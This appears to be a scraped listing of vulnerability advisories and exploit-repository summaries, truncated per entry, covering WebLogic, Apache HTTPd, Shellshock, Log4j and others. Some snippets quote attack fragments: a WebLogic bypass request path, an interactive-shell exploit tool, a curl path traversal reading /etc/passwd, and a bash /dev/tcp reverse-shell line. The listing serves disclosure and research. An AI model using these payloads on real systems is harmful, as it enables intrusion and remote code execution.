Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Weblogic 未授权绕过 RCE CVE-2020-14882 Oracle Weblogic 未授权绕过 RCE 测试脚本 支持 Python3 请求 POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/86.0.4240.111 Safari/537.36...

CLEANSTART-2026-LH05062 HttpClient based on the classic i/o model fails to correctly release the underlying connection back to the connection manager if it encounters an invalid or unsupported `Content-Encoding` header va...

Security vulnerability affects the sonarqube package. HttpClient based on the classic i/o model fails to correctly release the underlying connection back to the connection manager if it encounters an invalid or unsupported Content-Encoding header value in the response message...

CLEANSTART-2026-ON00136 Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON

Security vulnerability affects the sonarqube package. Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON...

A flaw was found in the GLib Base64 encoding routine when processing very large input data (CVE-2026-1484)

A flaw was found in the GLib Base64 encoding routine when processing very large input data. Due to incorrect use of integer types during length calculation, the library may miscalculate buffer boundaries. This can cause memory writes outside the allocated buffer. Applications that process untrust...

CVE-2026-106122: Encoding Error

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.36.0, ValueReader.readShortstr decodes malformed UTF-8 bytes into replacement characters that can re-encode beyond the AMQP shortstr limit enforced by...

PT-2026-107109

Dell Command | Configure DCC, versions prior to 5.2.3.35, contain an Improper Handling of Mixed Encoding vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of Privileges...

PT-2026-107236

Name of the Vulnerable Software and Affected Versions Apache log4net versions 1.2.12 through 3.4.x Description Improper encoding or escaping of output occurs in the RemoteSyslogAppender. Characters outside visible ASCII and space are removed from the record instead of being escaped, causing...

PT-2026-107233

Name of the Vulnerable Software and Affected Versions Apache log4net versions 1.2.9 through 3.4.x Description Improper handling of Unicode encoding in the SmtpPickupDirAppender occurs when the mail file writer encounters content it cannot encode, such as an unpaired UTF-16 surrogate. This causes...

EUVD-2026-86348

PyMongo: PYTHON-5996 Heap out-of-bounds write via signed size overflow in BSON document encoding...

PyMongo: PYTHON-5996 Heap out-of-bounds write via signed size overflow in BSON document encoding

An integer overflow in the BSON document encoding component of the MongoDB Python Driver's bundled native extension may occur when a single document is built from an unusually large amount of caller-supplied data. Size arithmetic is performed in a signed 32-bit type, and the guard meant to catch...

GHSA-V4X9-3549-CRWV PyMongo: PYTHON-5996 Heap out-of-bounds write via signed size overflow in BSON document encoding

An integer overflow in the BSON document encoding component of the MongoDB Python Driver's bundled native extension may occur when a single document is built from an unusually large amount of caller-supplied data. Size arithmetic is performed in a signed 32-bit type, and the guard meant to catch...

CVE-2025-55182-RCE-shell

CVE-2025-55182-RCE-shell Burp Suite/antsword - 交互式shell HTTP劫持 + POST + AES-256-CBC/BASE64 检测 -dnslog DNSLog无回显检测 Nuclei -poc 漏洞回显检测 利用 -exp 交互式shell base64回显 -exp2 交互式shell HTTP劫持 + POST + Base64 -exp3 交互式shell HTTP劫持 + POST + AES-256-CBC burpsuite...

CVE-2022-21449

CVE-2022-21449 该仓库展示了在nodejs环境中为容易受到Java中"心理签名"攻击的应用程序生成base64签名的方法 😅 在运行之前，请确保从 https://github.com/davwwwx/elliptic 安装修改后的elliptic分支 $ npm install 生成签名 $ node index.js 从DataDog/security-labs-pocs获取一个易受攻击的示例应用程序 -...

CVE-2019-19945_Test

CVE-2019-19945Prueba Este es el código para la primera CVE propuesta. 1. Instalar Docker 2. Construir y ejecutar servidor cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve 3. Obtener la IP del contenedor del servidor Linux sudo docker container inspect server ...

HiTMS_steganography

HiTMS: Un marco de esteganografía lingüística multi-flujo de alto rendimiento Código de investigación para esteganografía lingüística en diálogos de chat con LLM , con una línea base de flujo único y un protocolo multi-flujo HiTMS por lotes que oculta varios mensajes secretos independientes a la...

CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-

安全公告：通过未解析的 Transfer-Encoding 值实现 HTTP 请求走私（tinyhttp） 分配的 CVE ID: CVE-2026-66752 摘要 tinyhttp 只检查是否存在 Transfer-Encoding 请求头，从不检查其值。任何值（包括不是 chunked 的编码，以及最终元素不是 chunked 的编码列表）都会导致请求体被按 chunked 解码，同时 Content-Length 会被丢弃。 正确解析传输编码的前端会以与 tinyhttp 不同的方式界定此类请求的边界。同一连接上两个参与者使用两种不同的边界界定方式，是请求走私的前提条件。发送带有...

netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers

A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both Transfer-Encoding: chunked and Content-Length headers. While Netty correctly strips the conflicting Content-Length header for HTTP/1.1 messages, thi...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 根据美国国家漏洞数据库（NVD）CVE-2021-41773，Apache HTTP Server 2.4.49 容易受到路径遍历和远程代码执行攻击。 路径遍历 路径遍历漏洞是由于为路径规范化（即从URL路径中移除不需要或危险的部分）而添加的新代码更改引入的，但它在检测编码路径遍历字符“点点斜杠（../）”的不同技术方面存在不足。...

CVE-2021-41773

CVE-2021-41773 演练场 这是一个小型 Docker 搭建方案，用于创建基于 Debian bookworm 的容器，其中运行着存在 CVE-2021-41773 漏洞的 Apache HTTPd 2.4.49 实例。 已显式启用 CGI，因此可用于测试/验证本地文件泄露行为以及远程命令执行行为。 用法 $ docker-compose build && docker-compose-up 本地文件泄露 $ curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passw...

CVE-2014-6271

Hellshocker 0.1.1 Herramienta para explotar la vulnerabilidad Shellshock ¿Cansado de usar exploits débiles de shellshock o simplemente hacer "/bin/bash & /dev/tcp/IP/port 0&1" para acceder al servidor? Sí, necesitas subir y ejecutar algo más complejo en el servidor, y codificar en base64 un archi...